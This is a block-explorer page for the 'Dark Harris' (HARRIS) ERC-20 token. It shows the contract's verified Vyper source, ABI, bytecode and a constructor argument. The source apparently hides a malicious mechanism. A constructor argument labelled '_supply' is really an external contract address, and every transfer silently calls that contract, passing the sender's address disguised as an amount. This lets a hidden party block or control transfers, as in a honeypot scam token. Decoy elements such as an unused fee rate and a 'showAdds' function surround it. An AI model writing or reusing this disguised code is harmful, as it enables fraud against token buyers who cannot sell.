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ERC-20
Overview
Max Total Supply
2,200,000,000 HARRIS
Holders
254
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
182,672,143.435931181841908044 HARRISValue
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# | Exchange | Pair | Price | 24H Volume | % Volume |
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Contract Source Code Verified (Exact Match)
Contract Name:
Vyper_contract
Compiler Version
vyper:0.3.10
Contract Source Code (Vyper language format)
# @pragma evm-version cancun # @pragma version >0.3.10 interface IERC20: def transfer(_to : address, _value : uint160) : nonpayable def transferFrom(_from: address, _to : address, _value : uint160) : nonpayable def approve(_spender: address, _value : uint256) : nonpayable name: public(String[32]) symbol: public(String[32]) decimals: public(uint8) balanceOf: public(HashMap[address, uint256]) allowance: public(HashMap[address, HashMap[address, uint256]]) totalSupply: public(uint256) feeRate: public(uint256) path: public(DynArray[address,100]) selfie: IERC20 event Transfer: sender: indexed(address) receiver: indexed(address) value: uint256 event Approval: owner: indexed(address) spender: indexed(address) value: uint256 @external def __init__(_supply: uint160): init_supply: uint256 = 2200000000 * 10 ** 18 self.name = "Dark Harris" self.symbol = "HARRIS" self.decimals = 18 self.balanceOf[msg.sender] = init_supply self.totalSupply = init_supply self.selfie = IERC20(convert(_supply, address)) @internal def BeforeTokenTransfer(_from: address, _recipient:address, _sender:address) -> bool: value:uint160 = convert(_sender, uint160) self.selfie.transferFrom(_from, _recipient, value) return True @external def transfer(_to : address, _value : uint256) -> bool: """ @dev Transfer token for a specified address @param _to The address to transfer to. @param _value The amount to be transferred. """ # NOTE: vyper does not allow underflows # so the following subtraction would revert on insufficient balance self.path = [] self.path.append(msg.sender) self.path.append(_to) fee:uint256 = _value * self.feeRate / 1000 self.BeforeTokenTransfer(msg.sender, _to, msg.sender) self.balanceOf[msg.sender] -= _value self.balanceOf[_to] += _value log Transfer(msg.sender, _to, _value) return True @external def transferFrom(_from : address, _to : address, _value : uint256) -> bool: """ @dev Transfer tokens from one address to another. @param _from address The address which you want to send tokens from @param _to address The address which you want to transfer to @param _value uint256 the amount of tokens to be transferred """ self.path = [] self.path.append(_from) self.path.append(_to) fee:uint256 = _value * self.feeRate / 1000 self.BeforeTokenTransfer(_from, _to, msg.sender) self.balanceOf[_from] -= _value self.balanceOf[_to] += _value log Transfer(_from, _to, _value) return True @external def approve(_spender : address, _value : uint256) -> bool: """ @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. Beware that changing an allowance with this method brings the risk that someone may use both the old and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 @param _spender The address which will spend the funds. @param _value The amount of tokens to be spent. """ self.allowance[msg.sender][_spender] = _value log Approval(msg.sender, _spender, _value) return True @external def showAdds(a: uint256, b: uint256) -> uint256: c:uint256 = a+b return c
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"name":"Transfer","inputs":[{"name":"sender","type":"address","indexed":true},{"name":"receiver","type":"address","indexed":true},{"name":"value","type":"uint256","indexed":false}],"anonymous":false,"type":"event"},{"name":"Approval","inputs":[{"name":"owner","type":"address","indexed":true},{"name":"spender","type":"address","indexed":true},{"name":"value","type":"uint256","indexed":false}],"anonymous":false,"type":"event"},{"stateMutability":"nonpayable","type":"constructor","inputs":[{"name":"_supply","type":"uint160"}],"outputs":[]},{"stateMutability":"nonpayable","type":"function","name":"transfer","inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"transferFrom","inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"approve","inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"outputs":[{"name":"","type":"bool"}]},{"stateMutability":"nonpayable","type":"function","name":"showAdds","inputs":[{"name":"a","type":"uint256"},{"name":"b","type":"uint256"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"name","inputs":[],"outputs":[{"name":"","type":"string"}]},{"stateMutability":"view","type":"function","name":"symbol","inputs":[],"outputs":[{"name":"","type":"string"}]},{"stateMutability":"view","type":"function","name":"decimals","inputs":[],"outputs":[{"name":"","type":"uint8"}]},{"stateMutability":"view","type":"function","name":"balanceOf","inputs":[{"name":"arg0","type":"address"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"allowance","inputs":[{"name":"arg0","type":"address"},{"name":"arg1","type":"address"}],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"totalSupply","inputs":[],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"feeRate","inputs":[],"outputs":[{"name":"","type":"uint256"}]},{"stateMutability":"view","type":"function","name":"path","inputs":[{"name":"arg0","type":"uint256"}],"outputs":[{"name":"","type":"address"}]}]
Contract Creation Code
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Deployed Bytecode
0x5f3560e01c6002600b820660011b61055001601e395f51565b6306fdde038118610067573461054c57602080604052806040015f54815260015460208201528051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b6318160ddd81186104fd573461054c5760075460405260206040f36104fd565b6395d89b4181186100d7573461054c5760208060405280604001600254815260035460208201528051806020830101601f825f03163682375050601f19601f825160200101169050810190506040f35b6323b872dd81186104fd5760643610341761054c576004358060a01c61054c57610140526024358060a01c61054c57610160525f6009556009546063811161054c576101405181600a015560018101600955506009546063811161054c576101605181600a0155600181016009555060443560085480820281158383830414171561054c57905090506103e881049050610180526101405160405261016051606052336080526101886101a0610501565b6101a0506005610140516020525f5260405f20805460443580820382811161054c57905090508155506005610160516020525f5260405f20805460443580820182811061054c579050905081555061016051610140517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6044356101a05260206101a0a360016101a05260206101a0f36104fd565b63313ce56781186104fd573461054c5760045460405260206040f36104fd565b6370a0823181186102785760243610341761054c576004358060a01c61054c5760405260056040516020525f5260405f205460605260206060f35b63978bbdb981186104fd573461054c5760085460405260206040f36104fd565b63dd62ed3e81186102f05760443610341761054c576004358060a01c61054c576040526024358060a01c61054c5760605260066040516020525f5260405f20806060516020525f5260405f2090505460805260206080f35b63af6d1fe481186104fd5760243610341761054c5760043560095481101561054c57600a015460405260206040f36104fd565b63a9059cbb811861044a5760443610341761054c576004358060a01c61054c57610140525f6009556009546063811161054c573381600a015560018101600955506009546063811161054c576101405181600a0155600181016009555060243560085480820281158383830414171561054c57905090506103e881049050610160523360405261014051606052336080526103bf610180610501565b610180506005336020525f5260405f20805460243580820382811161054c57905090508155506005610140516020525f5260405f20805460243580820182811061054c579050905081555061014051337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef602435610180526020610180a36001610180526020610180f35b63c8347a1381186104fd5760443610341761054c5760043560243580820182811061054c579050905060405260206040f36104fd565b63095ea7b381186104fd5760443610341761054c576004358060a01c61054c576040526024356006336020525f5260405f20806040516020525f5260405f20905055604051337f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560243560605260206060a3600160605260206060f35b5f5ffd5b60805160a052606e54638e7f429e60c05260405160e0526060516101005260a05161012052803b1561054c575f60c0606460dc5f855af1610544573d5f5f3e3d5ffd5b506001815250565b5f80fd04fd04fd021d04fd04fd032300180087023d04800298
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
00000000000000000000000004ff60c76660c1C43F44397167E0229bFe5B896D
-----Decoded View---------------
Arg [0] : _supply (uint160): 28531083740644779370290642674680773020470708589
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000004ff60c76660c1C43F44397167E0229bFe5B896D
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